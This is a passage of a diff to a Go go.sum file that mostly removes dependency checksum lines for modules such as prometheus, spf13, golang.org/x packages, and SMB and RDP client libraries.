h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= -github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo= -github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM= -github.com/neo4j/neo4j-go-driver/v4 v4.4.7 h1:6D0DPI7VOVF6zB8eubY1lav7RI7dZ2mytnr3fj369Ow= -github.com/neo4j/neo4j-go-driver/v4 v4.4.7/go.mod h1:NexOfrm4c317FVjekrhVV8pHBXgtMG5P6GeweJWCyo4= -github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= -github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= -github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= -github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= -github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= -github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= -github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= -github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= -github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA= -github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= -github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= -github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= -github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw= -github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o= github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM= github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY= -github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE= -github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= -github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= -github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE= github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= -github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= -github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk= -github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg= -github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= -github.com/shurcooL/vfsgen v0.0.0-20200824052919-0d455de96546/go.mod h1:TrYk7fJVaAttu97ZZKrO9UbRa8izdowaMIZcxYMbVaw= -github.com/sijms/go-ora/v2 v2.5.29 h1:ZSaeQM0Jn+r3XcIajk1YJk3Rx8fmt9eso6QQ73IZM6E= -github.com/sijms/go-ora/v2 v2.5.29/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk= -github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= -github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= -github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= -github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= -github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= -github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= -github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo= -github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= -github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww= github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU= github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= @@ -343,34 +134,10 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= -github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= -github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= -github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= -github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= -github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4= -github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= -github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= -go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= -go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= -go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= -golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= @@ -380,56 +147,16 @@ golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= -golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= -golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= -golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= -golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= -golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= -golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= -golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= -golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= -golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= -golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= @@ -440,15 +167,7 @@ golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= @@ -456,34 +175,11 @@ golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod 